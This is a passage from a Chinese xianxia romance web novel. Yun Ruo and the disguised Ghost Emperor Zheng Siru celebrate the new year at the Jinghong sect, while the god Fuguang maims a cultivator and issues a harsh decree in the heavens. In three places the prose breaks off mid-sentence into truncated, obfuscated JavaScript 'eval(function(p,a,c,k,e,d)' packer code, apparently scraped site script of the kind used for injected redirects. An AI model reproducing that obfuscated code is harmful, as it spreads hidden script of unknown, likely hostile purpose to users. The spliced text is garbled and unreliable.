堂堂地界叱咤风云的鬼帝,此时像个送包子的小贩。 云若忍笑敲门。 “来了来了!”里面传来玉姬热情的回应。 明明分别没多久,却觉好久未听闻这声音。 开门后,玉姬愣住,打量一番身上穿着落魄嫁衣的云若,“小若?你怎么回来了。” 云若一把抱住她,显然十分开心地喊道:“玉长老!” 玉姬惊讶地说话磕绊起来,“小若,你你你能讲话了!” 云若点头,“是如官治好了我,我现在能听得见,也能说话了。” “郑少侠?” 郑思如被包子笼屉遮住脸,听到她二人在讨论自己,歪头露出脸,朝玉姬皮笑肉不笑地勾勾唇角。 玉姬看到郑思如一瞬,朱唇微僵,她拉着云若进门,“你俩快进屋吧,大家伙吃饭呢。” 云若跟在玉姬身后,时不时瞥一眼面色麻木的郑思如,心中泛上一小丝愧疚,扯扯他袖子轻声道:“对不起啊如官,可这也是你自己应承下来的,我得相信你不是……” 郑思如面色更沉。 云若赶忙挽着玉姬往前快速走去。 迈入主屋一瞬,热腾腾的香气扑面而来,席间觥筹交错的声音骤停。 “小若妹子?!”楚灵儿率先打破沉默。 随之而来的是七嘴八舌惊喜万分的“师妹回来了!” 柳月和楚灵儿还用神识和云若沟通,云若于是张口一一喊了众人。 楚灵儿她们还没能因为得知云若恢复五识而欣喜地热泪盈眶,便猛然听到郑思如的名字。 热络的气氛瞬间凝结成冰。 有人小声道:“郑师弟快四年没回来了吧……” 云若赶紧帮郑思如一笼笼放包子,分给师兄师姐们,解释道:“如官他虽然看着凶,其实心里记挂着大家,这些包子就当久别重逢的见面礼。” 玉姬回过神,赶忙安排她二人入座。 众人座席中间放了好大的温鼎,煮着牛羊肉,因添了葱姜蒜胡椒,香气四溢。 “今日天冷,崔师兄准备的暖锅,你们也快吃些暖暖身子。”柳月热情招呼着,把加了辣椒、香油、葱姜蒜的芝麻酱碟递给二人。 云若惊叹:“在南国,这种吃法叫‘打甂炉’,一般煮鱼虾。原来在魏国叫暖锅,吃得是牛羊。” “就你懂的多,快吃吧。”郑思如不耐地夹了几片肉给她。 柳月视线在二人间游移,似是发现什么,问道:“我看你们俩装扮,似乎有故事?” 一听见有故事,惊鸿派上下几十多双眼睛都亮了。 云若便把经过删繁就简说与他们,不过隐藏了郑思如的真实身份,只说是他帮她逃婚。 “嫁给许仙君不挺好的么,多少仙娥求之不得,师妹,你在想什么呢?”几个师姐疑惑道。 没多久,她们就接收到郑思如冷冷的视线,只好讪讪闭嘴。 楚灵儿蹙眉,拨弄着竹箸道:“话也不是这样说,我觉得小若做得没错。仙君道侣之位虽令人艳羡,两情相悦却更重要,小若对仙君无意,仙君强取豪夺,这样的婚事怎会长久?” 她欸了声,问:“小若,你喜欢什么样的人?” 郑思如低声嘟囔道:“慕容修那样的小古板呗……” 云若腿轻撞了下他,递去个让他闭嘴的眼神。 “我喜欢……嗯……”云若想了半天,笃定道:“好看的。” 等了很久听答案的众人:…… 一旁强行淡定心中焦急的郑思如:“肤浅。” “其实我还没想好呢。如官,你喜欢什么样的?”云若撑着脸歪头问一旁面色郁闷的郑思如。 郑思如不由学着她的样子,撑着脸歪头看她,“我喜欢法力高强,美艳清冷,拳打化外三方神,脚踹地界十城鬼的那种。最不喜欢某些姿色平平,修为平平,什么都平平的女子。” 云若不知是不是自己错觉,郑思如说平平二字时,似乎有意无意扫了下…嗯… 她低头,又看了看玉姬、楚灵儿她们的。 好像自己真得平平…… 正这么想着,她见弟子们忽然都站了起来,喊道:“掌门!” 云若心中一惊,她这事还没告诉掌门,从天界离开也算违掌门之命,该怎么面对他啊。 她轻咬下唇,有些紧张转身,郑思如也跟着站起来。 掌门手里提着两坛酒,看到云若,先是一愣,看到郑思如后,更是和他大眼瞪小眼。 玉姬赶忙介绍向掌门介绍郑思如。 掌门嘴角微抽,“不错,有眼光,居然入我惊鸿派了。” 郑思如扬起下巴,莫测一笑。 掌门把酒放下,“沽了些酒,就暖锅吃。” “你还真是十年如一日的抠,三四十人,两坛酒,磕碜谁?” 掌门走到郑思如身旁坐下,回他:“这酒烈,你一杯就醉。” 云若听他二人语气熟稔,似是旧识,“如官,掌门,你们认识。” 掌门呵呵一笑,“认识认识,老朋友。” 郑思如轻嗤不语。 暖锅肉香,杯中酒香,窗外迎来送往的冬风,窗内齐聚一堂的归人。 酒酣饭饱之际,掌门勾着郑思如的肩,二人喝得上头,踉踉跄跄地走到院中。 “我的郑大爷,是你把我门下弟子从天上勾下来的?”掌门眯着眼问道。 “你有意见?” “不是,我一人养这么大个门派不容易,好不容易再供出个能上天的,你不得让我好好赚一笔么。” “德行……”郑思如手中浮现出一张纸契,塞到他手中,“许道淳能给你多少钱?我把鬼域十二城的赌坊买卖都交给你。但你再敢把云若送上天,我削死你。” 掌门半推半就把契约紧握在手中,“使不得使不得,鬼帝陛下客气了。” 郑思如看着他,想到什么,忽然诡异地笑起来,“老任,趁这几十年,该吃吃该喝喝,有钱别老攥手里,能花得都花了,好好享受。” “为什么啊?” “我怕你几十年后没命花,我怕你家老王把你劈了。” “不可能,老王几万年没管我。” 郑思如推开他,朝房中走去,回身朝一脸懵逼的掌门挑挑眉,抱拳道:“愿师尊保佑你!” * 云若在惊鸿派休养一段时间,身体好上许多。 除夕那日清晨醒来,开窗观天地,屋内乍明,只见外面白雪飘扬,地上已积一层埋足之雪。 云若赶忙换好衣服,匆匆洗漱,跑出去前,楚灵儿怕她冻着,给她搭了一件银白狐裘。 “下雪了!师姐,下雪了!”云若站在门边,用手接着纷纷雪花,细绒绒的雪花落在掌心,很快溶成小片水渍。 楚灵儿摸摸她头发,点头连道:“师姐知道,下雪了,昨天半夜开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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当然也因此成了集火对象,身上没少挨雪水。 她虽惨,还是惨不过掌门,掌门被众弟子集火,刚站起来,便看见几个弟子滚出个巨大雪球,直直朝他撞来。 随着一声惨叫,掌门被埋在雪里,“哎,你们这些年轻人,能不能心疼心疼老人家。” 空气中此起彼伏响起:“掌门,我们是为你好,这是在锻炼你啊!” 这是他常和弟子们说的,如今反被教训。 掌门抖落一身雪水,连叹三声,“不玩了不玩了,你们继续。” 他走到郑思如身旁,学他双腿岔着坐在石头上,“老年人果然还是适合和老年人在一起。” 郑思如正盯着云若疯兔般的身影,被掌门打断思绪,瞥他一眼,嫌道:“一边去,谁是老年人。” 掌门并不在意他语中嫌弃,掸掸衣上落雪问道:“你说,老王什么时候才回来?前段时间扶光老贼似乎去过云渚,他以前可是强烈主张把你搞死的,如今老王迟迟不归,你这情况怕是不妙。” “不回也好,回去一摊子烂事。” 掌门嗯了声,“也是,要封你,要治我,要团结那帮子仙君,要贯彻师尊他老人家的神旨,还要防扶光老贼,想想都累。” 掌门在那兀自沉吟叹息,郑思如却听都没听,眼里只看见那白裘粉裙的少女。 云若闹疯了,在雪地上跑来跑去,脸上挂着极为灿烂的笑容,红唇贝齿,喜气满面,笑弯的眼像月牙又像星辰,似一朵粉海棠恣意绽放在雪地,鲜活舒展独属于她的美丽。 他双脚微动,终是起身,向前走去。 他步步接近,却在站在她身后时,忽然被一个雪团拍脸上。 郑思如:…… 雪团成碎块,从他眉上滑到鼻梁,然后滴淌下去。 “啊,对……对不起,如官,我本来不是想打你的。”云若想笑不敢笑,仰起头,挽着袖子给他一点点擦脸。 旁边传来半是不满半是揶揄的声音:“师妹,刚刚你也打我一脸雪,怎么不帮我擦?” 一阵哄笑,闹得云若脸也微红。 她抬眸,见郑思如脸上雪水已没了,只是额边发被打湿几缕,沾在肌肤上。长而细密的睫毛也微湿,就像泪盈于睫般,无情也变得多情,冷淡也变得炽热。 他的眉斜飞入鬓,眼尾上挑,并不是温柔的长相,可他此刻的眸色却比白雪还要柔和纯粹。 云若的心河像被投了一块石头,轻轻荡起层层涟漪。 其实……如官,也是极好看的。 云若忽然有些心虚,眨眨眼睛,不去看他。 郑思如却俯身靠近,离她又近一分,非要望着她眼睛,不给她躲藏的机会。 两人鼻尖差一点就挨在一起,能互相感到对方温热的气息。 这一幕自然被一旁咸鱼坐的掌门看在眼里。 掌门摇摇头,感叹云若艳福不浅,上至仙君,下至鬼帝,这些老房子怎么就被她点着了。 他听玉姬感叹一句‘郎才女貌’,不禁摸摸下巴,笑眯眯道:“嗐!鱼找鱼,虾找虾,井里的□□找青蛙。各人自有各人姻缘,云若要能跟他成,也算为天下除害。” 云若被看得不好意思,羽睫微颤,声音也放轻,“如官,怎么这样看我。” 郑思如温柔一笑,然后…… 然后把手里不知道何时攥成的雪团“啪——”一声拍到她头上。 水浇头,透心凉。 云若:…… 玉姬:…… 掌门:…… 玉姬:郑少侠牛哔。 掌门:郑思如是什么品种的铁憨憨? 云若也说不上自己心里什么感觉。 大概就是,少女心破碎了。 “郑思如,我杀了你!”她差点没绷住泪,左手右手挖了大雪球,一路狂跑追着郑思如打。 郑思如笑得嚣张,迈腿就跑。 围观的师兄师姐惨遭误伤。 绕着平原跑了三圈,云若手中雪球也扔完,只顾着往前追人。 郑思如趁她不注意,一个回身,朝她对着跑去。 云若来不及停下,眼见要和郑思如相撞,谁知对方直接拦腰把她举起来。 “啊啊啊!郑思如,我放下来!” “我不放,你能怎样?” 郑思如把她举在空中,转了好几圈,看她白裘轻扬,乌发飘散,看她紧闭着眼,红了耳根。 终于停下,云若赶忙扶着他肩膀,慢慢睁开双眼。 大雪漫天,冬风轻扬,世界皆明亮,却也明亮不过彼此眉眼笑颜。 云若摇摇他的肩,霞色爬满脸颊,低声道:“把我放下。” “你不追着我打了?” “不了,他们都看着呢。” “管他们作甚。我不放,除非你说‘如官,求求你’,我就放。” “你不害臊!” “说呀。” “如官,求你。” “说了也不放!”郑思如看她憋闷的表情,感到通体舒畅,唇角已然抑制不住得意的笑。他抱着她飞上山,消失在众人视线中。 …… 玉姬:“哎,今晚忽然不想吃饭了。” 掌门:“我也是。” 17. 最后一世情劫(17) 17.最后一世情劫(17) 云渚,镜心崖。 慕容修用尽各类云渚术法想唤醒许道淳,始终无果。 期间还要处理各类门派事务,思虑过重,已然显出疲态。 弟子劝他回沉思崖稍作歇息,也被屡次拒绝。 忽然有人匆忙从门外闯入,道:“掌门,不好了!许仙君心魔出体之事不知为何流传起来,天界人心惶惶,都说……让掌门您尽快决断!” 对天界修士而言,心魔出体的严重程度仅次于堕落为魔。 原身境界越高,心魔越强,到了许道淳这种境界,心魔已能化为实体,拥有极强的自主意识,能伪装成普通修士而不被发觉。 而且,此时的心魔未必能受原身控制,更甚者反噬原身。 许道淳昏迷不醒,显然已遭反噬。慕容修已派人探查心魔去向,整整三日毫无结果。 心魔破坏力强,嗜血好杀,他在外一日,天界低境修士就惶恐一日,若让心魔下凡,更是可怕,这便是天界人心惶惶的原因。 慕容修本坐在桌旁撑着头阖眸小憩,闻言倏然张眸,问道:“不是禁止云渚上下透露此事么,为何会流传?” 那弟子头愈发低,硬着头皮回话:“掌门,前几日那场打斗波及甚广,许多修士皆有所感应,此事纵然云渚内部不言,外面仍会流传。如今大家都说许仙君带回个妖女,妖女蛊惑仙君有了心魔,说这是鬼域的阴谋。” 提起云若,慕容修情感上十分愧疚,可又觉得流言猜测并非空穴来风;他既不能否定此事因许道淳自己执念成魔而起,却又忍不住揣测鬼帝和云若的关系。 思来想去全无头绪,只好不作回应,提起弟子之前的话来,“他们想让我如何决断?” 弟子道:“……暂罢许仙君副盟主之位,封印其肉身,以削弱心魔法力。若……” 弟子忽然眼神犹豫、言辞吞吐起来。 “有话直说。” “若……仙君心魔迟迟难觅行踪,不如……直接……诛灭仙君肉身……” 对付心魔有三法: 一是渡化,心魔转变为正常灵魄,回归灵台,此为上策,却极困难。 二是封印,封印肉身,可削心魔法力;封□□魔,肉身七情受制。封印耗费法力,非长远之策,可作缓兵之计。 三是诛杀,诛杀□□,心魔法力大减,几近湮灭,纵然改邪归正,此生永远为魔,再无法登仙;诛杀心魔,原身法力骤减,七情灭绝。此法干脆利落近乎冷酷,为最下策。 慕容修大怒,斥道:“荒唐!仙盟向来不允许轻易动用诛身之法,安敢妄言?” 弟子一惊,赶忙道:“掌门恕罪!这也只是小部分人的看法,大多数人还是感念仙君多年劳苦的。只是从古至今,天界每逢高境魔出,总会血流成河、死伤无数,修士们也是担心自己的安危……” 慕容修还未来及好好思考,便听遥远天边传来阵阵古钟声。 钟声起音飘渺却余韵厚重,似上古神祇耳边呢喃,令人联想到古老神秘的咒语,不由心生敬畏。 这是九重天空明山上的朝华古钟,神有旨意即响,诸仙须前往待命。 上次钟响还是五百万年前。 诸仙以为,自那之后,神们会将天界权柄悉数授予仙人,这朝华古钟便不会再响。 “掌门……”弟子忧道。 “无事,”慕容修往门外走,嘱咐道:“替我好生照看许仙君,一切容后再议。“ * 九重天是天界之巅,有永夜之象,黑如泼墨,星辰黯淡,又名极夜城。 远远望去,悬空城的楼阁里只闪烁着零星明光。 然而最夺目的并非明光,而是一座十分突兀,宛如定城神针的陡峭高山,即空明山。 据说,空明山倒,将会天地倒悬,日月混沌,巨祸乱世。 巨大的朝华古钟静静伫立空明山巅之上,无垠天河之下,默默注视岁月流转。 慕容修抵达时,白衣白发的扶光神君负手而立,眼神冷冽,语带不满。 “如今,尔等对待神旨便如此怠惰么?” 慕容修打量在场修士,都是些地黄境仙人,而同门师兄弟,除他外,一人未至。 “许是路上耽搁,师尊耐心些,再等等。”一道清冷温雅的声音从身后传来。 来人一袭白衣,广袖轻纱,黑发用银色发带微挽,飘逸柔美。她一张温婉面容,柳眉淡扫,朱唇轻染,眉间贴着银色梅花形花钿,更添几分渺渺仙气。 慕容修只觉眼前人有些脸熟,思忖之间,她已朝他婷婷袅袅行礼道:“素璇拜见慕容师兄。” 他微颔首,收回视线。 素璇也不因他反应冷淡不满,敛眸一笑,走到扶光身边静候。 后面,几个仙君陆续到来。 朝华钟响,要求诸仙一炷香内务必赶到,然而一炷香内,仙人聚齐,天界十个仙君却只来一半。 扶光脸色愈发如凝冰雪,他一语不发,将诸仙带到朝华钟内。 朝华钟内小世界,可看作一方宫殿,殿内明如白昼。 扶光坐于上位,他微眯双眼打量诸人,“厉川一人未至?” 厉川掌门陆起,及长老陶闻生,都不在场。 仙人席座中,一身材魁梧的修士出列禀报:“秉神君,陆掌门和陶仙君今日身体抱恙,无法到场,是故让在下前来,静候旨意。” 扶光边低头整理衣袖,边冷笑道:“以前仪光师兄在时,他二人可曾抱恙?轻视神旨是大罪,念在你家两位仙君初犯,孤便略施小惩,给他们提个醒。” 说完,扶光指尖凝出淡蓝光芒蝴蝶,扇着翅膀朝那修士飞去,在众人未反应过来时,蝴蝶轻穿过他右臂,在空中带出一道淡蓝的弧线。 一瞬间,几乎是一瞬间。 时间静止。 而后,修士右臂应声坠地,血液喷薄而出,将白玉砖染成血红,殿上也爆发出凄厉痛喊。 那失去右臂的修士痛苦跪地,面色狰狞。 在场所有人皆惊骇,境界略低者坐立难安。 神畏因果,不可随意诛杀地黄境以上的修士,却有办法给他们无尽痛苦。 扶光皱眉,对那修士施了禁语咒,“厉川炼体,那两个又号称天界战神,怎么门下弟子如此娇弱。” 一时间,座上仙君表情微变。 慕容修眼中隐有不忍,握紧手中拂尘柄;衍宗的长老傅钰本想起身,却被掌门吴秋行压下;丹门长老裴嘉闭眸不语。 正当殿上极其安静,无人敢言时,一道雌雄莫辨的声音慵懒响起。 “师叔何必如此狠戾?当年诸神教我等慈悲,如今却因小事斩断修士拿兵器的手。这样表里不一的举动,令人费解。” 那人坐席位于素璇左侧,他斜斜倚在椅上,穿着大红锦裙,挽了繁复的飞仙髻,满头珠翠,华贵非常。他那张脸更有种雌雄莫辨的美丽,英气而妩媚,堪称绝色。 素璇衣着素净,坐他身旁,被衬得十分寡淡。 然而,扶光望向他时,眼中流露出显而易见的嫌恶。“柳宜均,孤正要说你的事。” 柳宜均换了一个坐姿,唇上微勾,毫不退让地直视着扶光,“说啊,宜均必定洗耳恭听。”。 扶光哼道:“许道淳之事,诸位应有耳闻。可就在今日,赵玄檀亦身负重伤,你们可知为何?” 五位仙君沉默不语,仙人们却因方才厉川修士被斩臂一事怕极他,纷纷应道:“弟子不知,还请神君示下。” 原来,自在门掌门赵玄檀近日极宠幸其仙婢黄阮阮。黄阮阮欲得一件赤色凤凰羽衣,赵玄檀便为她去不死谷猎凤,以讨美人欢心。 然而不死谷的火凤是地黄境的灵兽,不会由人宰割。打斗之时,赵玄檀为护黄阮阮,被火凤所伤,凤毒侵体,回门后便昏迷不醒,以至于今日无法到场。 “赵玄檀昏迷不醒是自作自受,本不应同情。然而经查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳宜均气得站起来骂道:“罗里吧嗦这么多,不过是想趁师姐不在欺负我们。堂堂神君,信口雌黄,不可理喻!” 慕容修赶忙起身,挡在他身前,沉声道:“师叔,修以为,柳师弟和任流光并无勾结鬼域、对抗天界之心,此事还须彻查!” 柳宜均见慕容修挡在他身前,愤怒微淡,却仍气不过,减小声音道:“三师兄,你太给老东西脸了。五百万年前,他怎么逼迫大师姐、二师兄的,你都忘了?” 扶光恼怒柳宜均,连带着斥责护他的慕容修:“优柔寡断!孤今日来,便是看汝等总犹豫不决,故而帮你们作出决定。” 话音刚落,他面前便展开一道淡金色半透明的纸卷。 “孤今以一成法力下道旨意,诸仙皆当遵从,违者锁仙符刺颊,永生不除。“ 纸卷自动浮现扶光说过的话。 “一,仙盟盟主王心若七情炽盛,屡遭天劫,副盟主许道淳心魔出体,为祸天界,二人无资格掌管仙盟,现将盟主之位转交慕容修,副盟主之位转交素璇。” “二,柳宜均以下犯上,勾结鬼域,暂押仙盟地牢,嫌疑一日不清,一日不可放出。” “三,惊鸿派不可留,即日起,仙盟将该门派勾除。诸仙追缉任流光,无须生擒,就地格杀。” 话音落,纸卷光芒大盛,化为淡赤光芒,散落入在场诸人体内。 没入体内后,众人左手上都出现一道淡赤的环印。 这是神旨,隔了五百多万年的神旨。 衍宗两个仙君低声道:“原以为当年便是终结,没想到神对仙的禁锢,又将降临。” 柳宜均气急,刚想起身离席,便被扶光用捆仙绳死死缚住。 下神旨后,扶光仍不满意。 “这旨意应让那邪派得知,以及……”他冷勾唇角,“该给任流光一个小小的教训,让他做个准备。” 他挥袖,淡蓝色和淡赤色的蝴蝶绕着彼此,迅速飞出古钟,向人间飞去。 18. 最后一世情劫(18) 18.最后一世情劫(18) 魏国,惊鸿派。 郑思如带着云若御剑观山,道:“你不是没见过雪么?带你看看山上的雪,那才叫漂亮。” 远望山峰,见之高耸入云,周围浮云如轻烟流水。雪白与湛蓝交织,有种清淡的仙气。 山路平坦风静,路旁枝头滴冰,雾凇如花,仿佛开了千簇梨白,满目苍翠皆不见,全然一片冰雪世界。 人也成了广袤冰雪中小小一点。 云若坐在前面,探出身子惊叹:“原来千树万树梨花开是真的!” 郑思如坐她身后,怕她掉下去,悄悄揪住她白裘帽子,“这算什么,云渚雪山的雪才是最好看的,三界再没比那更美的雪景。” 云渚雪山广袤连绵,当年,师尊就是在那处授业。 那时,他们十一个尚未各自开宗立派,都还青春年少。 师尊什么都讲,剑术、符咒、术法、医术、炼丹……课业繁重,弟子们怨声载道,后来更是常常缺课。 师尊虽不在意,然而师姐却很认真,但凡有偷懒不去上课的,她都非要给他把那课补回来。 …… 后来,他们缺课愈发频繁。 有一天,傅钰忍不了这些缺课钉子户,忿忿道:“你们能不能要点脸?天天缺课,不就想和师姐独处么?” 除去师姐,从没缺过课的也就三个,慕容修、许道淳和傅钰。其余全是惯犯,小团体就如此简单鲜明划分出来。 柳宜均毫不示弱地回怼:“你要脸,你清白,天天拿秘籍请教师姐是谁?二十字的法诀每个字都要问一问的是谁?论没话找话的功力还是你强。” 傅钰气得满脸通红,“你……你凭什么平白污人清白!” “谁先说我们的?现在又装白莲花?” 说着说着,气氛剑拔弩张,慕容修和许道淳劝和的言辞被淹没在两人口水战和围观师弟起哄声中,眼见局势控制不住,就要打起来。 说巧也不巧,师姐忽然抱着一摞书路过。 “你们在干什么?” 柳宜均反应快,双手收回他两百多公斤的金银双锤,敛起凶狠的眼神,朝师姐眨眼一笑,柔柔弱弱道:“师姐,八师兄说要细细品鉴一番我的本命法宝,我这才掏出来给他看呢~” 傅钰脸上红晕未除,放下他笔端尖锐又淬毒的判官笔,磕绊道:“师姐,连载的话本要写打斗场面,十一师弟说给我找些灵感。” 真是兄友弟恭,互相帮助的好场面。 师姐欣慰点点头,并未多想,却对倚靠在树上正饶有兴致看两边拱火的他道:“含元,跟我去趟瑶池,师尊有事。” 那一瞬间,郑思如感觉全场灼烫的目光都集中在他身上,他从旁边鼓掌起哄的围观群众瞬间成为世界中心。 尽管师弟们那些高深莫测的眼神令人背后发毛,但不得不说,那是他人生中为数不多极其有排面的时刻。 “如官,如官?” 郑思如回神,看见云若回头摇着手指在他眼前晃。 “做什么?”他把她手拂开。 “看你发呆啊……如官,你刚刚笑容呆滞,眼神迷离,是不是在思春?” “思个头,”郑思如面无表情推着她把头转回去,“我觉得你不说话时漂亮多了。” 云若哼了声道:“思春还不如思我。” 听闻此言,郑思如精神了,直起身子凑到她耳边问:“你刚说什么?” “我说!思春……不如思我。”云若原本底气十足,说到后面声音愈发细弱。 郑思如来了兴趣,转到她另一侧耳边道:“再说一遍。” “你干什么呀,烦人!”耳边传来一丝温热气息,惹得云若耳垂微红,她回头佯怒瞪他一眼。 郑思如笑了,伸手勾勾她下巴,“我怎不知你如此自恋,嗯?” 云若打开他手,转了过去,“我不和你说话了,郑思如,你是猪。” “云若,你这么傻的才是猪。” 云若回头看他一眼,表情愈发郁闷,哼道:“你这么笨的男人以后肯定娶不着媳妇。” 郑思如朝她挑挑眉,“胡说,想当我媳妇的人从鬼域第十二城排到九重天。倒是你,又傻又呆,肯定找不着相公。” 云若更气,口不择言道:“怎么找不到?若不是你,我早和许仙君结为夫妇了!” 话一出口,她便意识到不对。 果然,周围气压瞬间降低,郑思如脸上原本闲适安然的表情也换作阴沉冰冷。 “你说什么?” “没……” 郑思如冷哼道:“想嫁给许道淳,早说啊,何必跟我下凡?” “我没有……”云若本欲道歉,转念一想,凭什么啊,明明是他说话不中听,她为何要低声下气。 于是,云若也生硬道:“你要这么想,我也无话可说。” 这句话更点燃郑思如心中怒气,“和我无话可说是吧?好,我知道了。” 两人不再言语,都在等对方道歉,然而谁也没低头,两颗心中怒气一点点集聚。 就这样,好好的观雪之行以一段莫名其妙的争吵结束。 待二人落地,皆是一脸不悦,面如坚冰,缄默不语,朝反方向走去。 掌门和玉姬正在嗑瓜子,见二人如此,互相对视,头上仿佛浮现巨大的问号。 “怎么了,刚才还好好的。” “咱们去看看?” 掌门和玉姬起身,分别走到郑思如和云若身边。 掌门:“吵架了?” 郑思如臭着一张脸回:“关你屁事。” 掌门哎呀呀道:“就你这臭脾气,哪个姑娘敢和你在一起?谈感情就别摆鬼帝架子,把姿态放低点,温柔些,别吓人家小姑娘。” 郑思如猛地停下,语气愤怒,“我哪里摆架子,我在她面前何时有架子?” “呀呀呀,老郑你别激动!”掌门赶紧搂他脖子,顺便拍拍背顺气,“你们到底为何生气?我好歹也是有些感情经历,给你出出主意啊。” …… 另一边,玉姬小心问道:“若若啊,怎么了,你和郑少侠吵架了?” 云若低头踢雪,闷道:“没什么。” “给长老说说,长老是过来人,说不定能给你些建议?” 云若往前走几步,把枯枝踩断,继续道:“谢谢长老,确实没什么。” 玉姬思忖半晌,又问:“是不是他又说错话了?” 云若停下脚步,望向玉姬,十分不解道:“玉长老,如官为何总损我,他就不能说点好听的?我不过说句玩笑话,他便生气,实在阴晴不定!” …… 本不愿开口向外人道的二人,各自把事情经过讲给了掌门和玉姬。 掌门和玉姬悄悄回头,对望一眼,点点头以示了解情况。 掌门问郑思如:“那你是真不想和她说话了?” “她老拿话气我。” 掌门:“那是你先说人家是猪。” “她先说我的。” 掌门干着急,“你特么学剑一学就会,怎么在情.事上这么蠢?但凡拿出学剑时机灵劲的万分之一,你孩子都能打酱油了。” 掌门将他积攒多年的情感经验传授给郑思如,苦口婆心道:“虽然这方面我比不上玄檀,不过教你足够。” 玉姬那边,也在进行类似的对话。 “若若,你要懂得以柔克刚。双方都适当低头,感情才能长久。” 云若心中委屈,“为什么我低头他不低头!” 玉姬赶忙挽着她手抚慰道:“郑少侠脾气就那样,他说话不好听不是针对你,更何况,他生气是因为你提了别的男人,他吃醋。” 云若又羞又气,“他……他吃哪门子醋,我和他什么关系啊他吃醋。” “哎……若若呀,你难道看不出来他对你很不一样么?难道你对他不也如此么?” “有什么不一样。”面对玉姬炽热的眼神,云若心虚,眼神有些飘忽。 玉姬笑叹:“一不一样,你心里清楚。男女相悦,本是自然之理,没什么羞于面对的。感情是件很美好的事,尤其是如此纯粹的,不牵扯责任、现实、利益的生于花季的感情,更是可遇不可求。” 少年爱恋,是朵韧性十足的花,无畏风霜雨雪,灿烂的生长。 也是清晨海边的太阳,简单,纯粹,又明亮。 * 午后,弟子们正给院子各房间贴对联。 云若正在煮浆糊,便听到有人走到她身边轻咳一声。 她回头,看到笑得露出一排白牙的郑思如。 ——任氏情感秘籍一:时刻保持微笑。 崔雪知端着放对联的木盘走过来,本打算问浆糊煮熟没,却看见郑思如龇牙咧嘴的诡异笑容,吓得木盘差点脱手而出。 云若唇角不自觉微勾,却没理会,仍在边搅浆糊边往里面倒滚水。 郑思如被冷落,仍保持笑容,走到她身边,轻声道:“累了吧,不如歇歇?我使个术法,那对联就能贴上。” 云若微哼,“难不成掌门他们不知道,自己手调才有年味,使术法算什么。” 郑思如深呼一口气,依旧笑着,“是是是,我错了,我什么都不懂。要不,我来帮你搅搅?” ——任氏情感秘籍二:认错,积极认错。 云若被郑思如这温和的态度震惊了,心中颇别扭,提着桶绕过他往外走,“不用,弄好了。” 郑思如连着深呼两口气,待平静后,跟在云若身后,恰好见门外弟子来往,正是人多的时候。 于是,他忽然大声道:“云若姑娘,你快歇着,让我来帮你提浆糊!” 中气十足的话语,惹得众弟子侧目,然而因为对象是郑思如,他们想看不敢看,想笑不敢笑,只好低着头赶快离开,顺便偷瞄几眼。 ——任氏情感秘籍三:给足姑娘排面,让她被人艳羡。 郑思如自以为完美贯彻了任流光教给他的三个办法。 此时,掌门和玉姬恰巧路过,已然目睹一切。 玉姬:“……这就是你说的毕生经验?” 掌门抚额摇头。 云若本想嘲笑他奇葩举动,却想起玉姬和她说的以柔克刚,相处之道。 于是,她也柔柔一笑,“如官,太客气,我自己来就行,可别累着你。” 那语气很不自然。 掌门问玉姬:“你教的?” 玉姬笑吟吟道:“哎呦,怎么会呢,掌门真是折煞我!” 那边阴阳怪气的谦让还在继续。 “我怎么会累着呢?帮你提桶是我的荣幸,让我来。” “如官,你操劳一天,还是我来……” “你身娇体弱,弱不禁风,身为男子汉大丈夫岂能坐视不理,我来!” 二人互相客气,你推我让,实际上心中愈发不耐。 只是心中那该死的胜负欲作祟,谁也不愿把桶让出去。 来去几回合后,终于,在一次推搡中,浆糊桶跌落在地。 …… “郑思如,我杀了你,赔我浆糊!!!” “你让我提桶就没这事了,瞎让什么,这事赖你!” 惊鸿派内又是一阵你追我赶,鸡飞狗跳。 掌门、玉姬及众弟子才舒了口气,纷纷表示,有那味了。 * 下午准备年夜饭,崔雪知、柳月等人准备菜,云若和楚灵儿包饺子。 包着包着,又听一声轻咳。 云若头也不抬,“风寒去吃药,别进厨房。” 郑思如站在旁边,看她一手一个小巧玲珑的饺子,想开口,底气却莫名不足:“没想到,你手艺还挺娴熟……” “以前听不见说不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无言的情绪淡淡弥漫。 * 酒饱饭足已是夜晚,大家约着在庭院守岁。 掌门买了许多祈福的孔明灯,给每人发了一个,大家纷纷在灯外纸上写好自己的新年愿望。 掌门写的是:养家赚钱,益寿延年。 玉姬写的是:永葆青春,早日成婚。 楚灵儿挤眉弄眼揶揄道:“长老,老房子着火啦?想和谁成婚?” 玉姬佯叹气道:“想和世上最有钱的男人成婚。” 一旁的掌门摇摇头,“那你得多等几年。” “人家等得~只要赶在我投胎前就行。” 楚灵儿啧啧地离开他们,“老人家讲话酸兮兮,受不了。” 白日的雪人依旧在那儿,旁边坐着崔雪知和柳月,两个人只要一个孔明灯,写的是:岁岁长相见。 “造孽……”楚灵儿抱着自己的孔明灯哀叹,她在灯上写道:求求老天爷,让我觅得一个如意郎君,有大胸肌那种,要帅气还要孔武有力…… 字还没写完,便没地方写了。 郑思如本来百无聊赖坐在一旁,却被云若拍肩,轻声道:“咱们上房顶吧?” “为何?” “离天上近,灯飞得高,愿望更能实现。” 郑思如刚想嘲笑她幼稚,神仙压根看不到这些凡间愿望,但想起今日种种,他把话咽下,乖乖跟她上了房顶。 夜空星辰璀璨,清风怡人。 “你写的什么?”郑思如问她。 云若想了想,落笔,写上:年年有今日,岁岁有今朝。希望大家的愿望都能实现。 写完后,云若让灯内燃火,然后轻轻放手,让孔明灯伴随愿望,被风送到天上。 “如官,你怎么还没写?” “没想好。”郑思如从来对这种活动没兴趣,此刻脑内空空。 